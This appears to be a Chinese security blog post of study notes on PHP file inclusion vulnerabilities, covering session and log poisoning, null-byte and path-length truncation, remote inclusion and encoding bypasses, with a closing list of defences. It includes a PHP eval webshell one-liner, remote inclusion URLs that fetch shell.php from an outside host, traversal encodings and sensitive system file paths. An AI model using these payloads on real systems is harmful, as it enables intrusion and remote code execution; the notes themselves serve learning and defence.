文件包含
文件包含
0x01 简介及基本知识
攻击方绕过了文件包含函数的参数过滤或限制,从而包含恶意文件,达到执行非预期代码的目的。
文件包含函数
PHP中文件包含函数有以下四种:
1 | require() |
include
和require
区别主要是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行。include_once()
,require_once()
这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。- 当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析
敏感信息路径
Windows系统
1 | c:\boot.ini // 查看系统版本 |
Linux/Unix系统
1 | /etc/passwd // 账户信息 |
0x02 常见Bypass
session文件包含漏洞
条件:
可获取session存储位置
方式:
phpinfo中
session.save_path
第二列是
Local Value
(局部变量),第三列是Master Value
(主变量)。其中Master Value
是PHP.ini文件中的内容。Local value
是当前目录中的设置,这个值会覆盖Master Value
中对应的值。猜测默认路径以及常见路径
- linux下默认存储在/var/lib/php/session
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session可控
1 |
|
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取(一般是cookie中的PHPSESSID的值)
单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容
假设以上代码传参数ctfs=test,则session文件内容为
username|s:4:"test"
利用
通过可控参数写入恶意代码到session文件,然后通过文件包含漏洞执行此恶意代码getshell
1 | //传马 |
攻击步骤
- 将恶意代码写入session文件
- 攻击者可以通过PHPinfo或者猜测到session存放的位置
- 通过开发者模式可以获得文件名称
- 通过本地文件包含漏洞可以解析session文件达到攻击的目的
%00截断文件包含
条件
- magic_quotes_gpc=off
- PHP版本低于5.3.4(5.3.29复现失败,5.2.17成功 建议MAMP pro版本不要超过6.3.2)
原理
截断的核心,就是 chr(0)
这个字符。先说一下这个字符,这个字符不为空 (Null)
,也不是空字符 ("")
,更不是空格。 当程序在输出含有 chr(0)
变量时 chr(0)
后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生。
场景
包含时,给文件名拼接上其余后缀,从而限制了读取文件的类型范围
1 |
|
file.php?file=../../../../../../boot.ini%00
%00截断后面”.html”内容,实际上包含boot.ini
路径长度截断文件包含
可以输入超过最大路劲长度的目录,这样系统就会将后面的路径丢弃,导致拓展名截断
条件
- Windows下最大路径长度为256B
- Linux下最大路径长度为4096B(浏览器最多只能输入300多个字符,所以需要抓包)
文件名后叠加./
不过不能超过此服务器的容量限制
1 | file.php?file=test.txt/./....././ |
日志文件包含
典型的日志文件包含:
- 中间件日志文件包含
- ssh日志文件包含
中间件日志文件包含
利用条件:
- web中间件日志文件的存储位置已知,并且具有可读权限
原理
由于访问网站下其他文件,不论是否访问成功,都会被写入日志文件,因此可以直接访问一句话木马,如
- 访问
http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
- 日志文件记录
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....
浏览器进行了URL编码,导致传入的代码不能正常使用可以通过bp抓包的方式写入恶意代码,这样不会被编码
Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log
ssh日志文件包含
SSH日志文件包含的利用条件是:
- SSH日志路径已知,并且具有可读权限
SSH日志文件的默认路径为/var/log/auth.log
利用
ssh连接时将用户名设为恶意代码,写入成功后再包含即可
1 | ssh "<?php @eval($_POST[123]);?>"@192.168.1.1 |
远程文件包含
无限制远程文件包含
通过URL的形式包含到其他服务器上的文件,以及执行文件中的恶意代码
条件
1 | allow_url_fopen=on |
payload http://www.abc.com/file.php?file=http://192.168.2.1/shell.php
有限制的远程文件包含
1 | include($_GET['filename'].".html"); |
payload
可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤
file.php?filename=http://192.168.2.1/shell.php?
可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23
file.php?filename=http://192.168.2.1/shell.php%23
空格绕过
file.php?filename=http://192.168.2.1/php.txt%20
php伪协议
详见php伪协议学习笔记
编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
2.二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
3.容器/服务器的编码方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- Apache Tomcat Directory Traversal(Apache Tomcat 目录遍历)
- ..\
- ..%c1%9c
遇到指定后缀的情况
接着考虑指定后缀的情况。测试代码:
1 |
|
解决:URL
url格式
1 | protocol://hostname[:port]/path/[;parameters][?query]#fragment |
在远程文件包含漏洞(RFI)中,可以利用query(?)或fragment(#)来绕过后缀限制。那么利用条件就需要是:
allow_url_fopen = On
allow_url_include = On
姿势一:query(?)
1 | index.php?file=http://remoteaddr/remoteinfo.txt? |
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
姿势二:fragment(#(%23))
1 | index.php?file=http://remoteaddr/remoteinfo.txt%23 |
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23
。
防御方案
- 在很多场景中都需要去包含web目录之外的文件,如果php配置了
open_basedir
,则会包含失败。所以PHP 中使用open_basedir
配置限制访问在指定的区域。 - 做好文件的权限管理。
- 对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。
- 对危险字符进行过滤,比如过滤
.
(点)/
(反斜杠)\
(反斜杠)等特殊字符。 - 尽量将allow_url_fopen和allow_url_include配置为off,不过像有些伪协议还是能使用,不过能尽量off还是off吧。
- 尽量不使用动态包含等等
- 标题: 文件包含
- 作者: Sl0th
- 创建于 : 2022-03-07 00:09:38
- 更新于 : 2024-07-04 00:10:16
- 链接: http://sl0th.top/2022/03/07/文件包含/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。